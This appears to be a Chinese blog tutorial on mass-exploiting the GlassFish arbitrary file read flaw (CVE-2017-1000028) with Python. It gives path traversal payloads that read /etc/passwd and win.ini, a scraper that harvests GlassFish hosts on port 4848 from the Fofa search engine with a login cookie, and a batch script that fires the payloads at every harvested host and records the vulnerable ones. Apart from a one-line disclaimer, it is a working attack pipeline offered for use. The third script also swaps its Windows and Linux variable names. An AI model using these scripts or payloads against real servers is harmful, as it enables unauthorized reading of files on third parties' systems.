Python腳本開發漏洞的批量搜索與利用(GlassFish 任意文件讀取)
Python 開發學習的意義:
(1)學習相關安全工具原理.
(2)掌握自定義工具及拓展開發解決實戰中無工具或手工麻煩批量化等情況.
(3)在二次開發 Bypass,日常任務,批量測試利用等方面均有幫助.
免責聲明:
嚴禁利用本文章中所提到的工具和技術進行非法攻擊,否則後果自負,上傳者不承擔任何責任。
測試漏洞是否存在的步驟:
(1)應用服務器GlassFish 任意文件讀取 漏洞.
#測試應用服務器glassfish任意文件讀取漏洞. import requests #調用requests模塊 url="輸入IP地址/域名" #下面這個二個是漏洞的payload payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' #檢測linux系統的 payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' #檢測windows系統 data_linux=requests.get(url+payload_linux).status_code #獲取請求後的返回源代碼,requests.get是網絡爬蟲,status_code是獲取狀態碼 data_windows=requests.get(url+payload_windows).status_code #獲取請求後的返回源代碼,requests.get是網絡爬蟲,status_code是獲取狀態碼 if data_windows==200 or data_linux==200: #200說明可以請求這個數據.則存在這個漏洞. print("漏洞存在") else: print("漏洞不存在")
效果圖:
(2)批量搜索漏洞.(GlassFish 任意文件讀取(CVE-2017-1000028))
import base64 import requests from lxml import etree import time #(1)獲取到可能存在漏洞的地址信息-借助Fofa進行獲取目標. #(2)批量請求地址信息進行判斷是否存在-單線程和多線程 search_data='"glassfish" && port="4848"' #這個是搜索的內容. headers={ #要登錄賬號的Cookie. 'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20' #請求20個. } for yeshu in range(1,11): #搜索前10頁. url='https://fofa.info/result?page='+str(yeshu)+'&qbase64=' #這個是鏈接的前面. search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") #對數據進行加密. urls=url+search_data_bs print('正在提取第'+str(yeshu)+'頁') #打印正在提取第的頁數. try: #請求異常也執行. result=requests.get(urls,headers=headers,timeout=1).content #requests.get請求url,請求的時候用這個headers=headers頭(就是加入Cookie請求),請求延遲 timeout=1,content將結果打印出來. #print(result.decode('utf-8')) #decode是編碼. soup=etree.HTML(result) #把結果進行提取.(調用HTML類對HTML文本進行初始化,成功構造XPath解析對象,同時可以自動修正HMTL文本) ip_data=soup.xpath('//a[@target="_blank"]/@href') #也就是爬蟲自己要的數據 ,提取a標簽,後面為@target="_blank"的href值也就是IP地址. #print(ip_data) ipdata='\n'.join(ip_data) #.join(): 連接字符串數組。將字符串、元組、列表中的元素以指定的字符(分隔符)連接生成一個新的字符串 print(ip_data) with open(r'ip.txt','a+') as f: #打開一個文件(ip.txt),f是定義的名. f.write(ipdata+'\n') #將ipdata的數據寫進去,然後換行. f.close() #關閉. except Exception as e: pass #執行後文件下面就會生成一個ip.txt文件.
效果圖:
(3)漏洞的利用.(GlassFish 任意文件讀取(CVE-2017-1000028))
import requests import time payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' for ip in open('ip.txt'): #打開ip.txt文件 ip=ip.replace('\n','') #替換換行符 為空. windows_url=ip+payload_windows #請求windows linux_url=ip+payload_linux #請求linux #print(windows_url) #print(linux_url) try: print(ip) result_code_linux=requests.get(windows_url).status_code #請求linux result_code_windows=requests.get(linux_url).status_code #請求windows print("chrck->" +ip) #打印在檢測哪一個IP地址. if result_code_linux==200 or result_code_windows==200: with open(r'result.txt','a+') as f: #寫入result.txt文件. f.write(ip) #如果有漏洞就寫入ip. time.sleep(5) except Exception as e: pass
效果圖:
(4)漏洞的利用.
到此這篇關於Python 開發漏洞的批量搜索與利用(GlassFish 任意文件讀取)的文章就介紹到這瞭,更多相關python開發 漏洞內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- Python爬蟲學習之requests的使用教程
- python 制作網站篩選工具(附源碼)
- 詳解Python requests模塊
- 使用python刷訪問量的示例代碼
- Python爬蟲之requests庫基本介紹